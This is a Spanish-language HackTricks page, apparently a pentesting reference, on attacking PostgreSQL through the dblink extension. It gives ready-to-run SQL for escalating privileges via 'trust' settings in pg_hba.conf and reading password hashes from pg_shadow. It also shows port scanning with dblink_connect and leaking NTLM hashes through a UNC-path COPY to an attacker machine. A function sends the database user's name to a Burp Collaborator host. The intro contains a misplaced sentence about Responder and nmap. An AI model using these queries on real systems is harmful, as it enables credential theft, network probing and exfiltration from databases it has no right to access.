5.7 KiB
Desde PostgreSQL 9.1, la instalación de módulos adicionales es sencilla. Las extensiones registradas como dblink
se pueden instalar con CREATE EXTENSION
:. Las filtraciones de NTLM se pueden realizar utilizando herramientas como Responder
o NTLMRelayx
. Además, se puede utilizar nmap
para escanear puertos y buscar vulnerabilidades de red.
CREATE EXTENSION dblink;
Una vez que tengas dblink cargado, podrías realizar algunos trucos interesantes:
Escalada de privilegios
El archivo pg_hba.conf
podría estar mal configurado permitiendo conexiones desde localhost como cualquier usuario sin necesidad de conocer la contraseña. Este archivo se puede encontrar típicamente en /etc/postgresql/12/main/pg_hba.conf
y una mala configuración se ve así:
local all all trust
Nota que esta configuración se utiliza comúnmente para modificar la contraseña de un usuario de la base de datos cuando el administrador la olvida, por lo que a veces puedes encontrarla.
También ten en cuenta que el archivo pg_hba.conf solo es legible por el usuario y grupo postgres y solo es escribible por el usuario postgres.
Este caso es útil si ya tienes una shell dentro de la víctima, ya que te permitirá conectarte a la base de datos de postgresql.
Otra posible mala configuración consiste en algo como esto:
host all all 127.0.0.1/32 trust
Ya que permitirá que cualquier persona desde el localhost se conecte a la base de datos como cualquier usuario.
En este caso y si la función dblink
está funcionando, podrías escalar privilegios conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías tener acceso:
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
Escaneo de puertos
Aprovechando dblink_connect
, también se puede buscar puertos abiertos. Si esa función no funciona, se debe intentar usar dblink_connect_u()
ya que la documentación indica que dblink_connect_u()
es idéntico a dblink_connect()
, excepto que permitirá a los usuarios no superusuarios conectarse utilizando cualquier método de autenticación.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
Ten en cuenta que antes de poder usar dblink_connect
o dblink_connect_u
puede que necesites ejecutar:
CREATE extension dblink;
Ruta UNC - Divulgación de hash NTLM
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Revisa los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.